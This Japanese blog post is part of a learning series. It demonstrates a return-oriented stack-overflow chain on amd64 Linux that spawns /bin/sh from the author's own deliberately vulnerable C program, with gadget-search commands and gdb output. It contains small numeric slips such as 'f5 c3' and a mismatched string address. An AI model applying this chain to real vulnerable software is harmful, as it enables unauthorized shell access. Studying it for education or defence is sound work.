脆弱性に関する実験:スタックオーバーフロー(その04)
スタックの書き換えによるシェルの起動
やっとスタック オーバーフローを使ってシェルを起動することができました。良いアイデアが直ぐには浮かばず、お蔭で昨晩は布団に入っても頭の中をスタックとマシン語が走り回っていました。
今まで調べたことを整理すると次のようになります。
- スタックに任意のコードを書き込んでスタックを上書きすることはできる。
- ただし、シーケンシャルな書き込みによるオーバーフローは、コンパイル時に“-fno-stack-protector”を指定しているプログラムに限る。
- シーケンシャルではなく、ピンポイントでのアクセスに関しては検知できない。
- スタック上にプログラムを書き込んでも実行できない。
- スタック上の値からプログラム領域のコードは変更できない。
- スタックにアドレスを書き込むことでプログラムの任意の場所を実行することはできる。
昔のようにスタック上に置かれたプログラムを実行できるのであれば、スタックを書き換えることで簡単に別の動作をさせることはできますが、amd64アーキテクチャではNXビットを使ってスタック上のプログラムを実行することは禁止されています(たぶん)。
つまりスタックに書き込むのはデータだけになりますので、これだけでは大したことはできません。
でも、逆にスタックには任意のデータを置くことができるわけですから、そのデータを使ってプログラムの任意の場所に“ジャンプ(正確には関数からのリターン)する”ことはできます。これは先日のプログラムで実証しています。 また、そのジャンプがpop命令であれば、予めスタックに積んだデータを特定のレジスタに格納することがでます。さらにその場所にret命令があれば、これも予めスタックに配置しておいたデータで、任意の次の場所に“ジャンプ”することができます。(ret命令でなくてもスタックの値を使うjump命令でもOKです。)
予め上手くスタックにデータを配置しておくことで、本来のプログラムのあちこちをチョットづつ使って簡単なロジックを構成できるわけです。
さて、それでは /bin/sh を起動する条件を思い出しましょう。
- edx(rdx)レジスタには第3引数のNULL、つまりゼロをセットする。
- esi(rsi)レジスタには第2引数のNULL、つまりゼロをセットする。
- edi(rdi)レジスタには第1引数のコマンドパスを保持したアドレスをセットする。
- eax(rax)レジスタにはシステム コール番号の“3b”をセットする。
- syscall命令でシステム コールを実行する。
プログラムのあちこちを使ってロジックを組み立てるといっても、そう都合よく目的に合うコードが含まれているとは限りません。そこで初めの二つの条件はネグってしまいます。つまり、次の三つを実現するロジックを構成してみましょう。
- edi(rdi)レジスタには第1引数のコマンドパスを保持したアドレスをセットする。
- eax(rax)レジスタにはシステム コール番号の“3b”をセットする。
- syscall命令でシステム コールを実行する。
1に関しては“/bin/sh”という文字列の先頭アドレスをスタックに積んでおき、“pop %rdi”命令を実行すればOKです。
2と3に関してはexecveライブラリ関数が実行してくれますから、それを呼び出せば良いわけです。もしexecveライブラリ関数を含んでいなければ、“3b”という値をスタックに積んでおいて“pop %eax”を実行させることで実現できます。
それでは、ロジックを構成してみましょう。なお、実験ではモデルを簡略化するためにコンパイル時に“-fno-stack-protector”を指定してスタック オーバーフローの検知をオフにしておきます。また、サンプル プログラムは非常に小さくロジックを構成するのに必要なプログラム コードを含まないため、“-static”オプションでライブラリのコードも含めるようにします。
main関数からfunc関数を呼び出した直後のスタック フレームの構成です。main関数への戻りアドレスがある場所がfunc関数のスタックフレームの底になります。
ポインタ | スタックのデータ |
---|---|
rsp-> | funcのローカル変数 |
funcの引数 | |
rbp-> | mainのフレームのアドレス |
mainへの戻りアドレス | |
mainへの一時作業領域 | |
mainのローカル変数 | |
mainの引数(argc, argv) |
ここで、funcの配列型のローカル変数に配列の大きさ以上のデータをコピーしてスタックを次のように書き換えます。
ポインタ | 本来のスタックのデータ | 置き換えるデータ |
---|---|---|
rsp-> | funcのローカル変数 | “/bin/sh” |
funcの引数 | ダミー | |
rbp-> | mainのフレームのアドレス | ダミー |
mainへの戻りアドレス | “pop %rdi”のアドレス | |
mainへの一時作業領域 | “/bin/sh”のアドレス | |
mainのローカル変数 | execveのアドレス | |
mainの引数(argc, argv) |
これで、func関数から戻ろうとすると“pop %rdi”命令のアドレスへ飛び、/bin/shの文字列のアドレスをrdiレジスタに格納した後、retq命令またはjmpq命令でexecveライブラリ関数へとジャンプして、/bin/shを起動します。なお、ダミーの部分の値は何でも構いません。
ではプログラムを作ってみましょう。
#include <stdio.h> #include <string.h> static char code[] = "/bin/sh\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" // dummy 1 "\x00\x00\x00\x00\x00\x00\x00\x00" // dummy 2 "\xed\xed\xed\xed\xed\xed\xed\xed" // pop rdi "\x20\xe4\xff\xff\xff\x7f\x00\x00" // /bin/sh "\x50\xee\x40\x00\x00\x00\x00\x00" // execve ""; int func(int i) { char buf[8]; bcopy((char *)code, (char *)buf, sizeof(code)); return i * 2; } int main(void) { int ans; ans = func(5) + 1; printf("Answer = \"%d\"\n", ans); execve("/bin/time", NULL, NULL); return 0; }
最初の8バイトに“/bin/sh”という文字列自身を積んでおきます。そして、その文字列へのアドレスとして 0x00007fffffffe420 を設定していますが、このアドレスはgdbで確認して後から埋め込んでいます。またexecveライブラリ関数のアドレスも分かっていますから 0x000000000040ee50 に設定してあります。
問題は“pop %rdi”という命令と、その直後に“retq”命令を実行しているプログラムの場所(アドレス)が必要です。ここでは、まだそのアドレスは分からないので、暫定的に0xedededededededed というアドレスに設定してあります。暫定アドレスを書いておくことで(実行しても暴走はしますが)少なくともコンパイルはできます。
まず、“pop %rdi”と“retq”が連続した場所を探さなければなりません。そこで次のような簡単なプログラムを書いて、それをアセンブルすることで、先ずはこれらの命令の16進数を調べます。プログラムの名前は“searchfor.asm”とします。
pop %rdi retq
これをアセンブルして生成さるコードを調べます。
ubuntu@ubuntu1304d64:~/Temp$ as -o searchfor searchfor.asm ubuntu@ubuntu1304d64:~/Temp$ objdump -d searchfor searchfor: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 5f pop %rdi 1: c3 retq ubuntu@ubuntu1304d64:~/Temp$
つまり、自身のプログラムの中から“5f c3”という2バイト部分を見つければ良いわけです。では一旦、上のプログラムをコンパイルして、その中から“5f c3”という部分があるか調べてみましょう。
ubuntu@ubuntu1304d64:~/Temp$ cc -o tricky3 tricky3.c -fno-stack-protector -static ubuntu@ubuntu1304d64:~/Temp$ sed -n -e 's/\(\x5f\xc3\)/\1/p' < tricky3 | wc -l 82 ubuntu@ubuntu1304d64:~/Temp$
sedコマンドを使って“f5 c3”という連続したデータがあれば、その箇所を出力します。しかし、出力はバイナリになるのでwcで行数だけを調べます。(hdコマンドとgrepコマンドの組合せでは、データが2行にまたがってしまう場合に検知できないので、この方法を使います。)少なくとも候補となる所が83ヶ所もあるので、目的のコードは直ぐに見つかるでしょう。objdumpで逆アセンブルして“retq”という文字列で検索して見つけます。
ubuntu@ubuntu1304d64:~/Temp$ objdump -D -x tricky3 | grep -B 1 retq | grep -A 1 " 5f " 4016ef: 41 5f pop %r15 4016f1: c3 retq -- 403987: 41 5f pop %r15 403989: c3 retq -- :
随分多くの部分が表示されました。しかし、そのどれもが
pop %rdi retq
ではありません。このプログラムの中にそういった命令のセットはありませんでした。しかし、欲しいのは“f5 c3”と言う並びであって、必ずしも連続した“pop %rdi”と“retq”ではありません。上の例の最初に該当した命令を使うとしたら、 0x4016ef番地ではなく次の“5f”の入っている 0x4016f0番地に飛ぶようにすれば良いわけです。そうすれば0x4016f0番地からは、あたかも
pop %rdi retq
という命令があるかのように実行してくれます。
それでは今、調べた 0x00000000004016f0 をプログラムに組み込みましょう。
#include <stdio.h> #include <string.h> static char code[] = "/bin/sh\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" // dummy 1 "\x00\x00\x00\x00\x00\x00\x00\x00" // dummy 2 "\xf0\x16\x40\x00\x00\x00\x00\x00" // pop edi "\x20\xe4\xff\xff\xff\x7f\x00\x00" // /bin/sh "\x50\xee\x40\x00\x00\x00\x00\x00" // execve ""; int func(int i) { char buf[8]; bcopy((char *)code, (char *)buf, sizeof(code)); return i * 2; } int main(void) { int ans; ans = func(5) + 1; printf("Answer = \"%d\"\n", ans); execve("/bin/time", NULL, NULL); return 0; }
これで完成です。
では、実行してみましょう。
ubuntu@ubuntu1304d64:~/Temp$ cc -o tricky3 tricky3.c -fno-stack-protector -static ubuntu@ubuntu1304d64:~/Temp$ gdb ./tricky3 (gdb) run Starting program: /home/ubuntu/Temp/tricky3 warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffd000 process 8387 is executing new program: /bin/dash $ ps PID TTY TIME CMD 8222 pts/0 00:00:00 bash 8385 pts/0 00:00:00 gdb 8387 pts/0 00:00:00 sh 8391 pts/0 00:00:00 ps $ exit [Inferior 1 (process 8387) exited normally] (gdb)
成功です。では、gdb無しで直接実行してみましょう。
ubuntu@ubuntu1304d64:~/Temp$ ./tricky3 $ ps PID TTY TIME CMD 8222 pts/0 00:00:00 bash 8696 pts/0 00:00:00 sh 8697 pts/0 00:00:00 ps $ ps -f UID PID PPID C STIME TTY TIME CMD ubuntu 8222 8221 0 18:25 pts/0 00:00:00 -bash ubuntu 8696 8222 0 18:54 pts/0 00:00:00 ./tricky3 ubuntu 8698 8696 0 18:54 pts/0 00:00:00 ps -f $ exit ubuntu@ubuntu1304d64:~/Temp$
一応、動きます。
ここで、psで確認すると確かにshとしてプロセスが動いています。しかし“ps -f”でみるとshというプロセスではなく“./tricky3”というプロセスになっています。これは、本来、shに渡される引数のargv[0]がたまたま“./tricky3”という文字だからです。引数の処理まではできませんから仕方ありません。
ところで、このプログラムは一応、動きましたが、じつはタマタマでした。条件によって動かないことがあるのです。実はスタックのアドレスは必ずしも同じではないのです。当たり前と言えば当たり前ですが、スタックのアドレスはシステムによって異なりますから、スタックのアドレスに依存したプログラムはよろしくありません。
この例では、“/bin/sh”という文字列のアドレスをスタックに積んだ文字列のアドレスにしていたため、動かなくなります。
そこで、“/bin/sh”という文字列のアドレスをスタックではなく、データ領域にあるアドレスに変更しました。“code”の宣言がstaticなので、グローバル変数領域に格納されています。そこから“/bin/sh”という文字列のアドレスを調べて、プログラムに設定します。0x000000000040ee50 というアドレスでした。
#include <stdio.h> #include <string.h> static char code[] = "/bin/sh\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" // dummy 1 "\x00\x00\x00\x00\x00\x00\x00\x00" // dummy 2 "\xf0\x16\x40\x00\x00\x00\x00\x00" // pop edi "\xa0\x40\x6c\x00\x00\x00\x00\x00" // /bin/sh "\x50\xee\x40\x00\x00\x00\x00\x00" // execve ""; int func(int i) { char buf[8]; bcopy((char *)code, (char *)buf, sizeof(code)); return i * 2; } int main(void) { int ans; ans = func(5) + 1; printf("Answer = \"%d\"\n", ans); execve("/bin/time", NULL, NULL); return 0; }
これが最終形になります。
脆弱性に関する実験:スタックオーバーフロー編(リンク)
脆弱性に関する実験:スタックオーバーフロー(その01) - AIDEMOIRE
スタックへのマシン語の書き込みとその実行に関する実験
脆弱性に関する実験:スタックオーバーフロー(その02) - AIDEMOIRE
戻りアドレスの書き換えによるロジックの変更に関する実験
脆弱性に関する実験:スタックオーバーフロー(その03) - AIDEMOIRE
プログラムによる自分自身のプログラムの変更に関する実験
脆弱性に関する実験:スタックオーバーフロー(その04) - AIDEMOIRE
スタックの書き換えによるシェルの起動
脆弱性に関する実験:スタックオーバーフロー(その05) - AIDEMOIRE
スタックオーバーフローの脆弱性に関する考察
脆弱性に関する実験:スタックオーバーフロー(その06) - AIDEMOIRE
スタック上のプログラムを実行する方法